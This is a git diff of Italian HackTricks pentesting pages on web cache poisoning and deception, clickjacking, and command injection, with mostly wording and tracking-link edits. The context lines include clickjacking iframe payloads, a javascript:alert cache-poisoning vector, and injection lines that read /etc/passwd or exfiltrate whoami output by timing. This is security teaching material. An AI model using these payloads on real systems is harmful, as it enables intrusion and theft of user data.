Per esempio è possibile separare i **parametri** nei server ruby utilizzando il carattere **`;`** invece di **`&`**. Questo potrebbe essere utilizzato per inserire valori di parametri non chiave all'interno di quelli chiave e abusarne. Ad esempio è possibile separare i **parametri** nei server ruby utilizzando il carattere **`;`** invece di **`&`**. Questo potrebbe essere utilizzato per inserire valori di parametri non chiave all'interno di quelli chiave e abusarne.
Laboratorio Portswigger: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) Laboratorio di Portswigger: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
### Sfruttare l'Avvelenamento della Cache HTTP abusando dello Smuggling delle Richieste HTTP ### Sfruttare l'avvelenamento della cache HTTP abusando dello Smuggling delle Richieste HTTP
Scopri qui come eseguire attacchi di [Avvelenamento della Cache sfruttando lo Smuggling delle Richieste HTTP](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning). Scopri qui come eseguire attacchi di [Avvelenamento della Cache sfruttando lo Smuggling delle Richieste HTTP](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning).
@ -158,10 +158,10 @@ Esempio di utilizzo: `wcvs -u example.com`
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare flussi di lavoro** con facilità, supportati dagli strumenti della comunità più avanzati al mondo.\ Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli **strumenti della community più avanzati al mondo**.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
@ -169,7 +169,7 @@ Ottieni l'accesso oggi:
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS inoltrava il frammento all'interno dell'URL senza eliminarlo e generava la chiave della cache utilizzando solo l'host, il percorso e la query (ignorando il frammento). Quindi la richiesta `/#/../?r=javascript:alert(1)` veniva inviata al backend come `/#/../?r=javascript:alert(1)` e la chiave della cache non conteneva il payload al suo interno, solo host, percorso e query. ATS inoltrava il frammento all'interno dell'URL senza rimuoverlo e generava la chiave della cache utilizzando solo l'host, il percorso e la query (ignorando il frammento). Quindi la richiesta `/#/../?r=javascript:alert(1)` veniva inviata al backend come `/#/../?r=javascript:alert(1)` e la chiave della cache non conteneva il payload al suo interno, solo host, percorso e query.
### GitHub CP-DoS ### GitHub CP-DoS
@ -177,7 +177,7 @@ L'invio di un valore errato nell'intestazione content-type attivava una risposta
### GitLab + GCP CP-DoS ### GitLab + GCP CP-DoS
GitLab utilizza i bucket GCP per memorizzare contenuti statici. I **bucket GCP** supportano l'intestazione `x-http-method-override`. Quindi era possibile inviare l'intestazione `x-http-method-override: HEAD` e avvelenare la cache restituendo un corpo della risposta vuoto. Poteva anche supportare il metodo `PURGE`. GitLab utilizza i bucket GCP per memorizzare contenuti statici. I **bucket GCP** supportano l'**intestazione `x-http-method-override`**. Quindi era possibile inviare l'intestazione `x-http-method-override: HEAD` e avvelenare la cache restituendo un corpo della risposta vuoto. Poteva anche supportare il metodo `PURGE`.
### Rack Middleware (Ruby on Rails) ### Rack Middleware (Ruby on Rails)
@ -185,11 +185,11 @@ Nelle applicazioni Ruby on Rails, spesso viene utilizzato il middleware Rack. Lo
### 403 e Bucket di Archiviazione ### 403 e Bucket di Archiviazione
Cloudflare in passato memorizzava le risposte 403. Tentare di accedere a S3 o Azure Storage Blobs con intestazioni di autorizzazione non corrette avrebbe comportato una risposta 403 che veniva memorizzata. Anche se Cloudflare ha smesso di memorizzare le risposte 403, questo comportamento potrebbe essere ancora presente in altri servizi proxy. Cloudflare in passato memorizzava le risposte 403 in cache. Tentare di accedere a S3 o Azure Storage Blobs con intestazioni di autorizzazione non corrette avrebbe comportato una risposta 403 che veniva memorizzata in cache. Anche se Cloudflare ha smesso di memorizzare in cache le risposte 403, questo comportamento potrebbe essere ancora presente in altri servizi proxy.
### Iniezione di Parametri Chiave ### Iniezione di Parametri Chiave
Le cache includono spesso specifici parametri GET nella chiave della cache. Ad esempio, Varnish di Fastly memorizzava il parametro `size` nelle richieste. Tuttavia, se veniva inviata anche una versione codificata in URL del parametro (ad esempio, `siz%65`) con un valore errato, la chiave della cache sarebbe stata costruita utilizzando il parametro `size` corretto. Tuttavia, il backend avrebbe elaborato il valore nel parametro codificato in URL. La codifica in URL del secondo parametro `size` portava alla sua esclusione dalla cache ma alla sua utilizzazione dal backend. Assegnare un valore di 0 a questo parametro risultava in un errore 400 Bad Request memorizzabile nella cache. Le cache includono spesso specifici parametri GET nella chiave della cache. Ad esempio, Varnish di Fastly memorizzava il parametro `size` nelle richieste. Tuttavia, se veniva inviata anche una versione URL-encoded del parametro (ad esempio, `siz%65`) con un valore errato, la chiave della cache sarebbe stata costruita utilizzando il parametro `size` corretto. Tuttavia, il backend avrebbe elaborato il valore nel parametro URL-encoded. L'URL-encoding del secondo parametro `size` portava alla sua esclusione dalla cache ma alla sua utilizzazione dal backend. Assegnare un valore di 0 a questo parametro risultava in un errore 400 Bad Request memorizzabile nella cache.
### Regole User Agent ### Regole User Agent
@ -197,9 +197,9 @@ Alcuni sviluppatori bloccano le richieste con user-agent corrispondenti a strume
### Campi Intestazione Illegali ### Campi Intestazione Illegali
Il [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifica i caratteri accettabili nei nomi delle intestazioni. Le intestazioni contenenti caratteri al di fuori dell'intervallo specificato di **tchar** dovrebbero idealmente attivare una risposta 400 Bad Request. Nella pratica, i server non sempre rispettano questo standard. Un esempio notevole è Akamai, che inoltra le intestazioni con caratteri non validi e memorizza qualsiasi errore 400, a condizione che l'intestazione `cache-control` non sia presente. È stato identificato uno schema sfruttabile in cui l'invio di un'intestazione con un carattere non valido, come `\`, avrebbe comportato un errore 400 Bad Request memorizzabile nella cache. Il [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifica i caratteri accettabili nei nomi degli header. Gli header contenenti caratteri al di fuori dell'intervallo **tchar** specificato dovrebbero idealmente attivare una risposta 400 Bad Request. Nella pratica, i server non sempre rispettano questo standard. Un esempio notevole è Akamai, che inoltra gli header con caratteri non validi e memorizza qualsiasi errore 400, a condizione che l'intestazione `cache-control` non sia presente. È stato identificato un pattern sfruttabile in cui l'invio di un'intestazione con un carattere non valido, come `\`, avrebbe comportato un errore 400 Bad Request memorizzabile nella cache.
### Trovare nuove intestazioni ### Trovare nuovi header
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6) [https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
@ -207,7 +207,7 @@ Il [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifica i caratter
L'obiettivo dell'Inganno della Cache è far sì che i client **carichino risorse che verranno salvate dalla cache con le loro informazioni sensibili**. L'obiettivo dell'Inganno della Cache è far sì che i client **carichino risorse che verranno salvate dalla cache con le loro informazioni sensibili**.
Innanzitutto, nota che le **estensioni** come `.css`, `.js`, `.png` ecc. sono di solito **configurate** per essere **salvate** nella **cache**. Pertanto, se si accede a `www.example.com/profile.php/nonexistent.js` la cache probabilmente memorizzerà la risposta perché vede l'estensione `.js`. Tuttavia, se l'**applicazione** sta **restituendo** i **contenuti sensibili** dell'utente memorizzati in _www.example.com/profile.php_, è possibile **rubare** quei contenuti da altri utenti. Innanzitutto, nota che le **estensioni** come `.css`, `.js`, `.png` ecc. sono di solito **configurate** per essere **salvate** nella **cache**. Pertanto, se accedi a `www.example.com/profile.php/nonexistent.js` la cache probabilmente memorizzerà la risposta perché vede l'estensione `.js`. Ma, se l'**applicazione** sta **reinviando** con i **contenuti sensibili** dell'utente memorizzati in _www.example.com/profile.php_, puoi **rubare** quei contenuti da altri utenti.
Altre cose da testare: Altre cose da testare:
@ -216,13 +216,13 @@ Altre cose da testare:
* _www.example.com/profile.php/test.js_ * _www.example.com/profile.php/test.js_
* _www.example.com/profile.php/../test.js_ * _www.example.com/profile.php/../test.js_
* _www.example.com/profile.php/%2e%2e/test.js_ * _www.example.com/profile.php/%2e%2e/test.js_
* _Usare estensioni meno conosciute come_ `.avif` * _Utilizzare estensioni meno conosciute come_ `.avif`
Un altro esempio molto chiaro si trova in questo articolo: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ Un altro esempio molto chiaro si trova in questo articolo: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
Nell'esempio, si spiega che se si carica una pagina inesistente come _http://www.example.com/home.php/non-existent.css_ il contenuto di _http://www.example.com/home.php_ (**con le informazioni sensibili dell'utente**) verrà restituito e il server della cache salverà il risultato.\ Nell'esempio, si spiega che se si carica una pagina inesistente come _http://www.example.com/home.php/non-existent.css_ il contenuto di _http://www.example.com/home.php_ (**con le informazioni sensibili dell'utente**) verrà restituito e il server della cache salverà il risultato.\
Quindi, l'**attaccante** può accedere a _http://www.example.com/home.php/non-existent.css_ nel proprio browser e osservare le **informazioni riservate** degli utenti che hanno accesso in precedenza. Quindi, l'**attaccante** può accedere a _http://www.example.com/home.php/non-existent.css_ nel proprio browser e osservare le **informazioni riservate** degli utenti che hanno accesso in precedenza.
Nota che il **proxy della cache** dovrebbe essere **configurato** per **memorizzare** i file **in base** all'**estensione** del file (_.css_) e non in base al tipo di contenuto. Nell'esempio _http://www.example.com/home.php/non-existent.css_ avrà un tipo di contenuto `text/html` invece di un tipo mime `text/css` (che è quello atteso per un file _.css_). Nota che il **proxy della cache** dovrebbe essere **configurato** per **memorizzare** i file **in base** all'**estensione** del file (_.css_) e non in base al tipo di contenuto. Nell'esempio _http://www.example.com/home.php/non-existent.css_ avrà un content-type `text/html` invece di un tipo mime `text/css` (che è quello atteso per un file _.css_).
Scopri qui come eseguire [attacchi di Inganno della Cache sfruttando lo Smuggling delle Richieste HTTP](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception). Scopri qui come eseguire [attacchi di Inganno della Cache sfruttando lo Smuggling delle Richieste HTTP](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception).
## Strumenti Automatici ## Strumenti Automatici
@ -241,10 +241,10 @@ Scopri qui come eseguire [attacchi di Inganno della Cache sfruttando lo Smugglin
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utilizza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\ Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
<details> <details>
@ -252,10 +252,10 @@ Ottieni l'accesso oggi:
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family) * Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github. * **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
</details> </details>

View file

@ -17,10 +17,10 @@ Altri modi per supportare HackTricks:
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti **comunitari più avanzati** al mondo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti **comunitari più avanzati** al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
## Cos'è il Clickjacking ## Cos'è il Clickjacking
@ -32,7 +32,7 @@ A volte è possibile **riempire il valore dei campi di un modulo utilizzando i p
### Compilare il modulo con Drag\&Drop ### Compilare il modulo con Drag\&Drop
Se hai bisogno che l'utente **compili un modulo** ma non vuoi chiedergli direttamente di scrivere informazioni specifiche (come l'email e/o la password specifica che conosci), puoi semplicemente chiedergli di **Trascinare e rilasciare** qualcosa che scriverà i tuoi dati controllati come in [**questo esempio**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/). Se hai bisogno che l'utente **compili un modulo** ma non vuoi chiedergli direttamente di scrivere alcune informazioni specifiche (come l'email e/o la password specifica che conosci), puoi semplicemente chiedergli di **Trascinare e rilasciare** qualcosa che scriverà i tuoi dati controllati come in [**questo esempio**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
### Payload di base ### Payload di base
```markup ```markup
@ -54,7 +54,7 @@ z-index: 1;
<div>Click me</div> <div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe> <iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
``` ```
### Payload Multistep ### Payload a più passaggi
```markup ```markup
<style> <style>
iframe { iframe {
@ -109,7 +109,7 @@ background: #F00;
``` ```
### XSS + Clickjacking ### XSS + Clickjacking
Se hai identificato un attacco **XSS che richiede a un utente di fare clic** su un elemento per **attivare** l'XSS e la pagina è **vulnerabile al clickjacking**, potresti abusarne per ingannare l'utente affinché faccia clic sul pulsante/link. Se hai identificato un attacco **XSS che richiede all'utente di fare clic** su un elemento per **attivare** l'XSS e la pagina è **vulnerabile al clickjacking**, potresti sfruttarlo per ingannare l'utente affinché faccia clic sul pulsante/link.
Esempio: Esempio:
_Hai trovato un **self XSS** in alcuni dettagli privati dell'account (dettagli che **solo tu puoi impostare e leggere**). La pagina con il **modulo** per impostare questi dettagli è **vulnerabile** al **Clickjacking** e puoi **prepopolare** il **modulo** con i parametri GET._ _Hai trovato un **self XSS** in alcuni dettagli privati dell'account (dettagli che **solo tu puoi impostare e leggere**). La pagina con il **modulo** per impostare questi dettagli è **vulnerabile** al **Clickjacking** e puoi **prepopolare** il **modulo** con i parametri GET._
\_\_Un attaccante potrebbe preparare un attacco di **Clickjacking** a quella pagina **prepopolando** il **modulo** con il **payload XSS** e **ingannando** l'**utente** affinché **invii** il modulo. Quindi, **quando il modulo viene inviato** e i valori vengono modificati, l'**utente eseguirà l'XSS**. \_\_Un attaccante potrebbe preparare un attacco di **Clickjacking** a quella pagina **prepopolando** il **modulo** con il **payload XSS** e **ingannando** l'**utente** affinché **invii** il modulo. Quindi, **quando il modulo viene inviato** e i valori vengono modificati, l'**utente eseguirà l'XSS**.
@ -118,7 +118,7 @@ _Hai trovato un **self XSS** in alcuni dettagli privati dell'account (dettagli c
### Difese Lato Client ### Difese Lato Client
Gli script eseguiti sul lato client possono compiere azioni per prevenire il Clickjacking: Gli script eseguiti lato client possono eseguire azioni per prevenire il Clickjacking:
* Assicurarsi che la finestra dell'applicazione sia la finestra principale o superiore. * Assicurarsi che la finestra dell'applicazione sia la finestra principale o superiore.
* Rendere tutti i frame visibili. * Rendere tutti i frame visibili.
@ -157,7 +157,7 @@ Ad esempio, la seguente CSP consente solo l'inquadratura dallo stesso dominio:
`Content-Security-Policy: frame-ancestors 'self';` `Content-Security-Policy: frame-ancestors 'self';`
Ulteriori dettagli e esempi complessi possono essere trovati nella [documentazione CSP frame-ancestors](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) e nella [documentazione Mozilla su CSP frame-ancestors](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors). Ulteriori dettagli e esempi complessi possono essere trovati nella [documentazione CSP frame-ancestors](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) e nella [documentazione Mozilla CSP frame-ancestors](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
### Content Security Policy (CSP) con `child-src` e `frame-src` ### Content Security Policy (CSP) con `child-src` e `frame-src`
@ -179,13 +179,13 @@ Questo policy consente frame dalla stessa origine (self) e da https://trusted-we
``` ```
Content-Security-Policy: child-src 'self' https://trusted-website.com; Content-Security-Policy: child-src 'self' https://trusted-website.com;
``` ```
Questo policy permette frame e workers dalla stessa origine (self) e da https://trusted-website.com. Questo policy consente frame e workers dalla stessa origine (self) e da https://trusted-website.com.
**Note sull'Utilizzo:** **Note sull'Utilizzo:**
* Deprecazione: child-src sta venendo gradualmente sostituito da frame-src e worker-src. * Deprecazione: child-src sta venendo gradualmente sostituito da frame-src e worker-src.
* Comportamento di fallback: Se frame-src è assente, child-src viene utilizzato come fallback per i frame. Se entrambi sono assenti, viene utilizzato default-src. * Comportamento di fallback: Se frame-src è assente, child-src viene utilizzato come fallback per i frame. Se entrambi sono assenti, viene utilizzato default-src.
* Definizione di Origine Rigorosa: Includere solo fonti attendibili nelle direttive per prevenire l'exploit. * Definizione di Origine Rigorosa: Includere solo origini attendibili nelle direttive per prevenire l'exploit.
#### Script JavaScript di Rottura Frame #### Script JavaScript di Rottura Frame
@ -195,9 +195,9 @@ if (top !== self) {
top.location = self.location; top.location = self.location;
} }
``` ```
#### Utilizzo dei token Anti-CSRF #### Utilizzo dei Token Anti-CSRF
* **Validazione del token:** Utilizzare token anti-CSRF nelle applicazioni web per garantire che le richieste che modificano lo stato siano effettuate intenzionalmente dall'utente e non attraverso una pagina Clickjacked. * **Validazione del Token:** Utilizzare token anti-CSRF nelle applicazioni web per garantire che le richieste che modificano lo stato siano effettuate intenzionalmente dall'utente e non attraverso una pagina Clickjacked.
## Riferimenti ## Riferimenti
@ -207,10 +207,10 @@ top.location = self.location;
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\ Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
<details> <details>
@ -220,8 +220,8 @@ Altri modi per supportare HackTricks:
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family) * Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository github di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

View file

@ -2,7 +2,7 @@
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
@ -10,18 +10,18 @@ Altri modi per supportare HackTricks:
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti comunitari più avanzati al mondo.\
Ottieni l'Accesso Oggi: Ottieni l'Accesso Oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
## Cos'è l'Iniezione di Comandi? ## Cos'è l'iniezione di comandi?
Un'**iniezione di comandi** permette l'esecuzione di comandi arbitrari del sistema operativo da parte di un attaccante sul server che ospita un'applicazione. Di conseguenza, l'applicazione e tutti i suoi dati possono essere compromessi completamente. L'esecuzione di questi comandi di solito consente all'attaccante di ottenere accesso non autorizzato o controllo sull'ambiente dell'applicazione e sul sistema sottostante. Un'**iniezione di comandi** permette l'esecuzione di comandi arbitrari del sistema operativo da parte di un attaccante sul server che ospita un'applicazione. Di conseguenza, l'applicazione e tutti i suoi dati possono essere compromessi completamente. L'esecuzione di questi comandi di solito consente all'attaccante di ottenere accesso non autorizzato o controllo sull'ambiente dell'applicazione e sul sistema sottostante.
@ -48,7 +48,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
> /var/www/html/out.txt #Try to redirect the output to a file > /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command < /etc/passwd #Try to send some input to the command
``` ```
### **Bypass Limitazioni** ### **Bypass Limiti**
Se stai cercando di eseguire **comandi arbitrari all'interno di una macchina Linux**, sarai interessato a leggere su questi **Bypass:** Se stai cercando di eseguire **comandi arbitrari all'interno di una macchina Linux**, sarai interessato a leggere su questi **Bypass:**
@ -90,9 +90,9 @@ Ecco i primi 25 parametri che potrebbero essere vulnerabili all'iniezione di cod
?run={payload} ?run={payload}
?print={payload} ?print={payload}
``` ```
### Esfiltrazione dati basata sul tempo ### Esfiltrazione di dati basata sul tempo
Estrazione dati: carattere per carattere Estrazione dei dati: carattere per carattere
``` ```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s real 0m5.007s
@ -104,7 +104,7 @@ real 0m0.002s
user 0m0.000s user 0m0.000s
sys 0m0.000s sys 0m0.000s
``` ```
### Esfiltrazione dati basata su DNS ### Esfiltrazione dei dati basata su DNS
Basato sul tool da `https://github.com/HoLyVieR/dnsbin` ospitato anche su dnsbin.zhack.ca Basato sul tool da `https://github.com/HoLyVieR/dnsbin` ospitato anche su dnsbin.zhack.ca
``` ```
@ -129,7 +129,7 @@ powershell C:**2\n??e*d.*? # notepad
[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/) [bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
{% endcontent-ref %} {% endcontent-ref %}
## Elenco di rilevamento degli attacchi di forza bruta ## Lista di rilevamento degli attacchi di forza bruta
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %} {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}
@ -145,8 +145,8 @@ powershell C:**2\n??e*d.*? # notepad
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
